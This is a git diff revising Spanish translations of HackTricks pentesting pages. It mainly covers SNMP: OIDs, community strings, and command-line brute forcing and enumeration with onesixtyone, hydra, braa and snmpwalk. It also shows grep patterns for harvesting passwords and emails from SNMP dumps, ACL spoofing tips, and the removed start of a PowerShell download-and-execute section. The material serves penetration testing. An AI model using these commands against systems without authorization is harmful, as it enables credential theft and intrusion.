diff --git a/network-services-pentesting/pentesting-snmp/README.md b/network-services-pentesting/pentesting-snmp/README.md index 5301215aa..a65822033 100644 --- a/network-services-pentesting/pentesting-snmp/README.md +++ b/network-services-pentesting/pentesting-snmp/README.md @@ -4,20 +4,20 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver a tu **empresa anunciada en HackTricks**? o ¿quieres acceder a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). \ -**Consejo de bug bounty**: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**! +**Consejo para bug bounty**: **regístrate** en **Intigriti**, una plataforma de bug bounty premium creada por hackers para hackers. Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} -## Información básica +## Información Básica **SNMP - Simple Network Management Protocol** es un protocolo utilizado para monitorear diferentes dispositivos en la red (como routers, switches, impresoras, IoTs...). ``` @@ -25,23 +25,23 @@ PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) ``` {% hint style="info" %} -SNMP también utiliza el puerto **162/UDP** para **traps**. Estos son **paquetes de datos enviados desde el servidor SNMP al cliente sin ser solicitados explícitamente**. +SNMP también utiliza el puerto **162/UDP** para **traps**. Estos son **paquetes de datos enviados desde el servidor SNMP al cliente sin ser explícitamente solicitados**. {% endhint %} ### MIB -Para asegurarse de que el acceso SNMP funcione en diferentes fabricantes y con diferentes combinaciones cliente-servidor, se creó la **Base de Información de Administración (MIB)**. MIB es un **formato independiente para almacenar información del dispositivo**. Un MIB es un **archivo de texto** en el que se enumeran todos los **objetos SNMP consultables** de un dispositivo en una jerarquía de árbol **estandarizada**. Contiene al menos un `Identificador de Objeto` (`OID`), que, además de la dirección única necesaria y un nombre, también proporciona información sobre el tipo, los derechos de acceso y una descripción del objeto respectivo.\ -Los archivos MIB están escritos en el formato de texto ASCII basado en `Abstract Syntax Notation One` (`ASN.1`). Los **MIB no contienen datos**, pero explican **dónde encontrar qué información** y cómo se ve, lo que devuelve valores para el OID específico, o qué tipo de datos se utiliza. +Para asegurar que el acceso SNMP funcione a través de fabricantes y con diferentes combinaciones de cliente-servidor, se creó la **Base de Información de Gestión (MIB)**. MIB es un **formato independiente para almacenar información del dispositivo**. Un MIB es un archivo de **texto** en el que todos los **objetos SNMP consultables** de un dispositivo están listados en una jerarquía de árbol **estandarizada**. Contiene al **menos un `Identificador de Objeto` (`OID`)**, que, además de la necesaria **dirección única** y un **nombre**, también proporciona información sobre el tipo, derechos de acceso y una descripción del respectivo objeto. +Los archivos MIB están escritos en el formato de texto ASCII basado en `Notación de Sintaxis Abstracta Uno` (`ASN.1`). Los **MIB no contienen datos**, pero explican **dónde encontrar qué información** y cómo es, qué valores devuelve para el OID específico o qué tipo de dato se utiliza. ### OIDs -**OIDs** significa **Identificadores de Objeto**. **OIDs identifican de manera única los objetos administrados en una jerarquía MIB**. Esto se puede representar como un árbol, cuyos niveles son asignados por diferentes organizaciones. Los identificadores de objetos MIB de nivel superior (OIDs) pertenecen a diferentes organizaciones estándar.\ -**Los proveedores definen ramas privadas que incluyen objetos administrados para sus propios productos.** +**OIDs** significa **Identificadores de Objetos**. **Los OIDs identifican de manera única a los objetos gestionados en una jerarquía MIB**. Esto se puede representar como un árbol, cuyos niveles son asignados por diferentes organizaciones. Los OIDs de objetos MIB de nivel superior pertenecen a diferentes organizaciones estándar. +**Los fabricantes definen ramas privadas que incluyen objetos gestionados para sus propios productos.** -![](../../.gitbook/assets/snmp_oid_mib_tree.png) +![](../../.gitbook/assets/snmp\_oid\_mib\_tree.png) -Puede **navegar** a través de un **árbol OID** desde la web aquí: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) o **ver lo que significa un OID** (como `1.3.6.1.2.1.1`) accediendo a [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ -Hay algunos **OIDs conocidos** como los que se encuentran dentro de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) que hacen referencia a variables SNMP definidas por MIB-2. Y a partir de los **OID pendientes de este** se pueden obtener algunos datos interesantes del host (datos del sistema, datos de red, datos de procesos...) +Puedes **navegar** a través de un **árbol OID** desde la web aquí: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) o **ver qué significa un OID** (como `1.3.6.1.2.1.1`) accediendo a [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1). +Hay algunos **OIDs conocidos** como los que se encuentran dentro de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) que hacen referencia a las variables definidas por MIB-2 del Simple Network Management Protocol (SNMP). Y de los **OIDs pendientes de este** puedes obtener algunos datos interesantes del host (datos del sistema, datos de la red, datos de procesos...) ### **Ejemplo de OID** @@ -49,30 +49,30 @@ Hay algunos **OIDs conocidos** como los que se encuentran dentro de [1.3.6.1.2.1 Aquí hay un desglose de esta dirección. -* 1: esto se llama ISO y establece que esto es un OID. Es por eso que todos los OIDs comienzan con "1" -* 3: esto se llama ORG y se utiliza para especificar la organización que construyó el dispositivo. -* 6: esto es el dod o el Departamento de Defensa que es la organización que estableció Internet primero. -* 1: este es el valor de Internet para denotar que todas las comunicaciones se realizarán a través de Internet. -* 4: este valor determina que este dispositivo está hecho por una organización privada y no gubernamental. -* 1: este valor denota que el dispositivo está hecho por una empresa o una entidad comercial. +* 1 – esto se llama ISO y establece que esto es un OID. Por eso todos los OIDs comienzan con "1" +* 3 – esto se llama ORG y se utiliza para especificar la organización que construyó el dispositivo. +* 6 – esto es el dod o el Departamento de Defensa, que es la organización que estableció Internet primero. +* 1 – este es el valor de internet para denotar que todas las comunicaciones se realizarán a través de Internet. +* 4 – este valor determina que este dispositivo está hecho por una organización privada y no por una gubernamental. +* 1 – este valor denota que el dispositivo está hecho por una empresa o entidad comercial. -Estos primeros seis valores tienden a ser los mismos para todos los dispositivos y le brindan información básica sobre ellos. Esta secuencia de números será la misma para todos los OIDs, excepto cuando el dispositivo es fabricado por el gobierno. +Estos primeros seis valores tienden a ser los mismos para todos los dispositivos y te dan la información básica sobre ellos. Esta secuencia de números será la misma para todos los OIDs, excepto cuando el dispositivo está hecho por el gobierno. Pasando al siguiente conjunto de números. -* 1452: da el nombre de la organización que fabricó este dispositivo. -* 1: explica el tipo de dispositivo. En este caso, es un despertador. -* 2: determina que este dispositivo es una unidad terminal remota. +* 1452 – da el nombre de la organización que fabricó este dispositivo. +* 1 – explica el tipo de dispositivo. En este caso, es un reloj despertador. +* 2 – determina que este dispositivo es una unidad terminal remota. -El resto de los valores proporcionan información específica sobre el dispositivo. +El resto de los valores dan información específica sobre el dispositivo. -* 5: denota un punto de alarma discreto. -* 1: punto específico en el dispositivo -* 3: puerto -* 21: dirección del puerto -* 1: pantalla para el puerto -* 4: número de punto -* 7: estado del punto +* 5 – denota un punto de alarma discreto. +* 1 – punto específico en el dispositivo +* 3 – puerto +* 21 – dirección del puerto +* 1 – pantalla para el puerto +* 4 – número de punto +* 7 – estado del punto _**(Ejemplo tomado de**_ [_**aquí**_](https://www.netadmintools.com/snmp-mib-and-oids)_**)**_ @@ -80,35 +80,34 @@ _**(Ejemplo tomado de**_ [_**aquí**_](https://www.netadmintools.com/snmp-mib-an Hay 2 versiones importantes de SNMP: -* **SNMPv1**: Principal, sigue siendo la más frecuente, la **autenticación se basa en una cadena** (cadena de comunidad) que viaja en **texto plano** (toda la información viaja en texto plano). **La versión 2 y 2c** envían el **tráfico en texto plano** también y usan una **cadena de comunidad como autenticación**. -* **SNMPv3**: Utiliza una mejor forma de **autenticación** y la información viaja **encriptada** (un **ataque de diccionario** podría realizarse, pero sería mucho más difícil encontrar las credenciales correctas que en SNMPv1 y v2). +* **SNMPv1**: La principal, sigue siendo la más frecuente, la **autenticación se basa en una cadena** (cadena de comunidad) que viaja en **texto plano** (toda la información viaja en texto plano). **La versión 2 y 2c** también envían el **tráfico en texto plano** y utilizan una **cadena de comunidad como autenticación**. +* **SNMPv3**: Utiliza una mejor forma de **autenticación** y la información viaja **cifrada** usando (**se podría realizar un ataque de diccionario** pero sería mucho más difícil encontrar las credenciales correctas que en SNMPv1 y v2). -### Cadenas de comunidad +### Cadenas de Comunidad -Como se mencionó antes, **para acceder a la información guardada en el MIB, es necesario conocer la cadena de comunidad en las versiones 1 y 2/2c y las credenciales en la versión 3.**\ +Como se mencionó antes, **para acceder a la información guardada en el MIB necesitas conocer la cadena de comunidad en las versiones 1 y 2/2c y las credenciales en la versión 3.**\ Hay **2 tipos de cadenas de comunidad**: -* **`public`** principalmente funciones **solo de lectura** +* **`public`** principalmente funciones de **solo lectura** * **`private`** **Lectura/Escritura** en general -Tenga en cuenta que **la capacidad de escritura de un OID depende de la cadena de comunidad utilizada**, por lo que **incluso** si encuentra que se está utilizando "**public**", podría ser capaz de **escribir algunos valores**. Además, **pueden** existir objetos que sean **siempre "Solo Lectura".**\ -Si intenta **escribir** un objeto, se recibe un **error `noSuchName` o `readOnly`**. +Nota que **la capacidad de escritura de un OID depende de la cadena de comunidad utilizada**, así que **incluso** si encuentras que se está utilizando "**public**", podrías ser capaz de **escribir algunos valores.** Además, **puede** haber objetos que son **siempre "Solo Lectura".**\ +Si intentas **escribir** un objeto se recibe un error de **`noSuchName` o `readOnly`**. -En las versiones 1 y 2/2c, si usa una cadena de comunidad **incorrecta**, el servidor no **responderá**. Entonces, si responde, se usó una cadena de comunidad **válida**. +En las versiones 1 y 2/2c si intentas usar una cadena de comunidad **mala** el servidor no **responderá**. Por lo tanto, si responde, se utilizó una **cadena de comunidad válida**. ## Puertos * El agente SNMP recibe solicitudes en el puerto UDP **161**. -* El administrador recibe notificaciones ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) e [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) en el puerto **162**. -* Cuando se usa con [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) o [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), las solicitudes se reciben en el puerto **10161** y las notificaciones se envían al puerto **10162**. +* El gestor recibe notificaciones ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) y [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) en el puerto **162**. +* Cuando se utiliza con [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) o [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), las solicitudes se reciben en el puerto **10161** y las notificaciones se envían al puerto **10162**. +## Ataque de Fuerza Bruta a la Cadena de Comunidad (v1 y v2c) -## Fuerza bruta de cadena de comunidad (v1 y v2c) +Para **adivinar la cadena de comunidad**, podrías realizar un ataque de diccionario. Consulta [aquí diferentes maneras de realizar un ataque de fuerza bruta contra SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Una cadena de comunidad frecuentemente utilizada es `public`. -Para **adivinar la cadena de comunidad**, se puede realizar un ataque de diccionario. Consulte [aquí diferentes formas de realizar un ataque de fuerza bruta contra SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Una cadena de comunidad frecuentemente utilizada es `public`. +## Enumeración de SNMP -## Enumeración SNMP - -Se recomienda instalar lo siguiente para ver lo que significa **cada OID recopilado** del dispositivo: +Se recomienda instalar lo siguiente para ver qué significa **cada OID recopilado** del dispositivo: ```bash apt-get install snmp-mibs-downloader download-mibs @@ -131,25 +130,39 @@ nmap --script "snmp* and not snmp-brute" braa @:.1.3.6.* #Bruteforce specific OID ``` -Gracias a las consultas extendidas (download-mibs), es posible enumerar aún más información sobre el sistema con el siguiente comando: +Gracias a consultas extendidas (download-mibs), es posible enumerar aún más sobre el sistema con el siguiente comando: ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` -**SNMP** tiene mucha información sobre el host y cosas que pueden resultar interesantes como: **Interfaces de red** (direcciones IPv4 e **IPv6**), nombres de usuario, tiempo de actividad, versión del servidor/SO y **procesos** en ejecución (que pueden contener contraseñas)... +**SNMP** contiene mucha información sobre el host y cosas que pueden resultar interesantes son: **Interfaces de red** (dirección IPv4 y **IPv6**), Nombres de usuario, Tiempo de actividad, Versión del servidor/SO y **procesos** -### **Configuraciones peligrosas** +**en ejecución** (pueden contener contraseñas).... + +### **Configuraciones Peligrosas** **De** [**https://academy.hackthebox.com/module/112/section/1075**](https://academy.hackthebox.com/module/112/section/1075)\*\*\*\* -| **Configuraciones** | **Descripción** | -| ------------------------------------------------ | ------------------------------------------------------------------------------------------------- | -| `rwuser noauth` | Proporciona acceso al árbol completo de OID sin autenticación. | -| `rwcommunity ` | Proporciona acceso al árbol completo de OID independientemente de dónde se hayan enviado las solicitudes. | -| `rwcommunity6 ` | Mismo acceso que con `rwcommunity` con la diferencia de usar IPv6. | +| **Configuraciones** | **Descripción** | +| ------------------------------------------------ | ------------------------------------------------------------------------------------- | +| `rwuser noauth` | Proporciona acceso al árbol OID completo sin autenticación. | +| `rwcommunity ` | Proporciona acceso al árbol OID completo independientemente de dónde se envíen las solicitudes. | +| `rwcommunity6 ` | Mismo acceso que con `rwcommunity` con la diferencia de usar IPv6. | + +### Parámetros de SNMP de Microsoft Windows + +| **Valor MIB** | **Descripción** | +| ------------------------------------------------ | ------------------------------------------------------------------------------------- | +| `1.3.6.1.2.1.25.1.6.0` | Procesos del Sistema. | +| `1.3.6.1.2.1.25.4.2.1.2` | Programas en Ejecución. | +| `1.3.6.1.2.1.25.4.2.1.4` | Ruta de los Procesos. | +| `1.3.6.1.2.1.25.2.3.1.4` | Unidades de Almacenamiento. | +| `1.3.6.1.2.1.25.6.3.1.2` | Nombre del Software. | +| `1.3.6.1.4.1.77.1.2.25` | Cuentas de Usuario. | +| `1.3.6.1.2.1.6.13.1.3` | Puertos Locales TCP. | ### Cisco -Echa un vistazo a esta página si tienes equipos Cisco: +Echa un vistazo a esta página si utilizas equipos Cisco: {% content-ref url="cisco-snmp.md" %} [cisco-snmp.md](cisco-snmp.md) @@ -157,23 +170,23 @@ Echa un vistazo a esta página si tienes equipos Cisco: ## De SNMP a RCE -Si tienes la **cadena** que te permite **escribir valores** dentro del servicio SNMP, es posible que puedas abusar de ella para **ejecutar comandos**: +Si tienes la **cadena** que te permite **escribir valores** dentro del servicio SNMP, podrías abusar de ella para **ejecutar comandos**: {% content-ref url="snmp-rce.md" %} [snmp-rce.md](snmp-rce.md) {% endcontent-ref %} -## **SNMP masivo** +## **SNMP Masivo** -[Braa ](https://github.com/mteg/braa)es un escáner masivo de SNMP. El uso previsto de esta herramienta es, por supuesto, hacer consultas SNMP, pero a diferencia de snmpwalk de net-snmp, es capaz de hacer consultas a docenas o cientos de hosts simultáneamente y en un solo proceso. Por lo tanto, consume muy pocos recursos del sistema y realiza el escaneo MUY rápido. +[Braa ](https://github.com/mteg/braa)es un escáner SNMP masivo. El uso previsto de tal herramienta es, por supuesto, realizar consultas SNMP – pero a diferencia de snmpwalk de net-snmp, es capaz de consultar docenas o cientos de hosts simultáneamente, y en un solo proceso. Por lo tanto, consume muy pocos recursos del sistema y realiza el escaneo MUY rápido. -Braa implementa su propia pila SNMP, por lo que NO necesita bibliotecas SNMP como net-snmp. +Braa implementa su PROPIA pila snmp, por lo que NO necesita ninguna biblioteca SNMP como net-snmp. -**Sintaxis:** braa \[cadena de comunidad]@\[IP del servidor SNMP]:\[id iso] +**Sintaxis:** braa \[Cadena de comunidad]@\[IP del servidor SNMP]:\[id iso] ``` braa ignite123@192.168.1.125:.1.3.6.* ``` -Esto puede extraer muchos MB de información que no se pueden procesar manualmente. +Esto puede extraer una gran cantidad de MB de información que no puedes procesar manualmente. Entonces, busquemos la información más interesante (de [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)): @@ -185,27 +198,27 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` ### Identificar cadena privada -Como ejemplo, si puedo identificar la cadena de comunidad privada utilizada por una organización en sus routers Cisco IOS, entonces posiblemente podría usar esa cadena de comunidad para extraer las configuraciones en ejecución de esos routers. El mejor método para encontrar dichos datos a menudo ha estado relacionado con los datos de trampa SNMP. Entonces, nuevamente, usando el siguiente grep, podemos analizar rápidamente una gran cantidad de datos MIB buscando la palabra clave "trampa": +Como ejemplo, si puedo identificar la cadena de comunidad privada utilizada por una organización en sus enrutadores Cisco IOS, entonces podría usar esa cadena de comunidad para extraer las configuraciones en ejecución de esos enrutadores. El mejor método para encontrar dichos datos a menudo ha estado relacionado con los datos de SNMP Trap. Entonces, nuevamente, utilizando el siguiente grep podemos analizar rápidamente una gran cantidad de datos MIB en busca de la palabra clave "trap": ```bash grep -i "trap" *.snmp ``` ### Nombres de usuario/contraseñas -Otra área de interés son los registros, he descubierto que hay algunos dispositivos que almacenan registros dentro de las tablas MIB. Estos registros también pueden contener intentos fallidos de inicio de sesión. Piense en la última vez que inició sesión en un dispositivo a través de Telnet o SSH e ingresó inadvertidamente su contraseña como nombre de usuario. Normalmente busco palabras clave como _fail_, _failed_ o _login_ y examino esos datos para ver si hay algo de valor. +Otro área de interés son los registros. He descubierto que hay dispositivos que almacenan registros dentro de las tablas MIB. Estos registros también pueden contener intentos fallidos de inicio de sesión. Piensa en la última vez que iniciaste sesión en un dispositivo vía Telnet o SSH e inadvertidamente ingresaste tu contraseña como nombre de usuario. Normalmente busco palabras clave como _fail_, _failed_ o _login_ y examino esos datos para ver si hay algo valioso. ```bash grep -i "login\|fail" *.snmp ``` -### Correos Electrónicos +### Correos electrónicos ```bash grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp ``` -## Modificando valores SNMP +## Modificación de valores SNMP -Puedes usar _**NetScanTools**_ para **modificar valores**. Necesitarás conocer la **cadena privada** para hacerlo. +Puedes usar _**NetScanTools**_ para **modificar valores**. Necesitarás conocer la **cadena privada** para poder hacerlo. -## Spoofing +## Suplantación -Si hay una ACL que solo permite que algunas IPs consulten el servicio SMNP, puedes falsificar una de estas direcciones dentro del paquete UDP y espiar el tráfico. +Si hay una ACL que solo permite a algunas IPs consultar el servicio SMNP, puedes suplantar una de estas direcciones dentro del paquete UDP y capturar el tráfico. ## Examinar archivos de configuración SNMP @@ -213,42 +226,42 @@ Si hay una ACL que solo permite que algunas IPs consulten el servicio SMNP, pued * snmpd.conf * snmp-config.xml -## Comandos automáticos de HackTricks +## Comandos Automáticos de HackTricks ``` Protocol_Name: SNMP #Protocol Abbreviation if there is one. Port_Number: 161 #Comma separated if there is more than one. Protocol_Description: Simple Network Managment Protocol #Protocol Abbreviation Spelled out Entry_1: - Name: Notes - Description: Notes for SNMP - Note: | - SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...). +Name: Notes +Description: Notes for SNMP +Note: | +SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...). - https://book.hacktricks.xyz/pentesting/pentesting-snmp +https://book.hacktricks.xyz/pentesting/pentesting-snmp Entry_2: - Name: SNMP Check - Description: Enumerate SNMP - Command: snmp-check {IP} +Name: SNMP Check +Description: Enumerate SNMP +Command: snmp-check {IP} Entry_3: - Name: OneSixtyOne - Description: Crack SNMP passwords - Command: onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt {IP} -w 100 +Name: OneSixtyOne +Description: Crack SNMP passwords +Command: onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt {IP} -w 100 Entry_4: - Name: Nmap - Description: Nmap snmp (no brute) - Command: nmap --script "snmp* and not snmp-brute" {IP} +Name: Nmap +Description: Nmap snmp (no brute) +Command: nmap --script "snmp* and not snmp-brute" {IP} Entry_5: - Name: Hydra Brute Force - Description: Need Nothing - Command: hydra -P {Big_Passwordlist} -v {IP} snmp +Name: Hydra Brute Force +Description: Need Nothing +Command: hydra -P {Big_Passwordlist} -v {IP} snmp ``` -\ -**Consejo de recompensa por errores**: ¡**Regístrese** en **Intigriti**, una plataforma premium de recompensas por errores creada por hackers, para hackers! ¡Únase a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comience a ganar recompensas de hasta **$100,000**! + +**Consejo para cazar recompensas**: **regístrate** en **Intigriti**, una plataforma premium de caza de recompensas creada por hackers, para hackers. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -256,10 +269,10 @@ Entry_5: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtenga la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/windows-hardening/basic-powershell-for-pentesters/README.md b/windows-hardening/basic-powershell-for-pentesters/README.md index 7db00eb51..5e21ce55e 100644 --- a/windows-hardening/basic-powershell-for-pentesters/README.md +++ b/windows-hardening/basic-powershell-for-pentesters/README.md @@ -1,13 +1,13 @@ -# PowerShell básico para pentesters +# Conceptos Básicos de PowerShell para Pentesters
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver a tu **empresa anunciada en HackTricks**? o ¿quieres acceder a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -18,41 +18,6 @@ C:\windows\syswow64\windowspowershell\v1.0\powershell C:\Windows\System32\WindowsPowerShell\v1.0\powershell ``` ## Comandos básicos de PS para comenzar - -PowerShell (PS) es una poderosa herramienta de línea de comandos y scripting que se utiliza ampliamente en entornos de Windows. Aquí hay algunos comandos básicos de PS que te ayudarán a comenzar: - -### Obtener información del sistema - -- `Get-Host`: Muestra información sobre la versión de PowerShell que estás utilizando. -- `Get-Process`: Muestra una lista de los procesos en ejecución en el sistema. -- `Get-Service`: Muestra una lista de los servicios en ejecución en el sistema. -- `Get-EventLog`: Muestra los registros de eventos del sistema. - -### Navegar por el sistema de archivos - -- `Get-ChildItem`: Muestra una lista de los archivos y carpetas en un directorio específico. -- `Set-Location`: Cambia el directorio actual. -- `Copy-Item`: Copia un archivo o carpeta a una ubicación específica. -- `Move-Item`: Mueve un archivo o carpeta a una ubicación específica. -- `Remove-Item`: Elimina un archivo o carpeta. - -### Administrar usuarios y grupos - -- `Get-LocalUser`: Muestra una lista de los usuarios locales en el sistema. -- `New-LocalUser`: Crea un nuevo usuario local. -- `Remove-LocalUser`: Elimina un usuario local. -- `Get-LocalGroup`: Muestra una lista de los grupos locales en el sistema. -- `Add-LocalGroupMember`: Agrega un usuario a un grupo local. -- `Remove-LocalGroupMember`: Elimina un usuario de un grupo local. - -### Administrar permisos - -- `Get-Acl`: Muestra los permisos de un archivo o carpeta. -- `Set-Acl`: Establece los permisos de un archivo o carpeta. -- `Get-NTFSAccess`: Muestra los permisos NTFS de un archivo o carpeta. -- `Set-NTFSAccess`: Establece los permisos NTFS de un archivo o carpeta. - -Estos son solo algunos de los comandos básicos de PS que puedes utilizar para administrar y obtener información del sistema. ¡Explora más y descubre todo el potencial de PowerShell! ```powershell Get-Help * #List everything loaded Get-Help process #List everything containing "process" @@ -61,27 +26,7 @@ Get-Help Get-Item -Examples #List examples Import-Module Get-Command -Module ``` -## Descargar y Ejecutar - -To download and execute a file using PowerShell, you can use the following command: - -Para descargar y ejecutar un archivo utilizando PowerShell, puedes utilizar el siguiente comando: - -```powershell 